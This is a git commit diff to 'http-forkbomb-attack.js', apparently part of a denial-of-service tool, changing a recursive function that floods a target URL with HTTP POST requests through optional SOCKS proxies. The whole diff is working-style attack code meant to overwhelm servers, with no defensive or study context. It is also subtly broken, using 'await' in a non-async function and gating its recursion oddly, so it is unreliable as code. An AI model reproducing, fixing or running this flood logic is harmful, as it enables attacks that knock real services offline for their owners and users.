Update http-forkbomb-attack.js
This commit is contained in:
parent
ef56c0edc9
commit
ae175ec9f3
1 changed files with 9 additions and 3 deletions
|
@ -9,13 +9,19 @@ MIKU MIKU BEAM!
|
||||||
import axios from "axios";
|
import axios from "axios";
|
||||||
import { SocksProxyAgent } from "socks-proxy-agent";
|
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||||
import { parentPort, workerData } from "worker_threads";
|
import { parentPort, workerData } from "worker_threads";
|
||||||
|
let forkStop = 0
|
||||||
|
|
||||||
import { randomBoolean, randomString } from "../utils/randomUtils.js";
|
import { randomBoolean, randomString } from "../utils/randomUtils.js";
|
||||||
|
|
||||||
const FORK = (fixedTarget, payload, config) => {
|
const FORK = (fixedTarget, payload, config) => {
|
||||||
for (let i = 1; i < Math.random() * 100; i++) {
|
forkStop++
|
||||||
FORK(fixedTarget, payload, config)
|
if (forkStop > 200) {
|
||||||
await axios.post(fixedTarget, payload, config);
|
for (let i = 1; i < Math.random() * 100; i++) {
|
||||||
|
FORK(fixedTarget, payload, config)
|
||||||
|
await axios.post(fixedTarget, payload, config);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
await axios.post(fixedTarget, payload, config);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue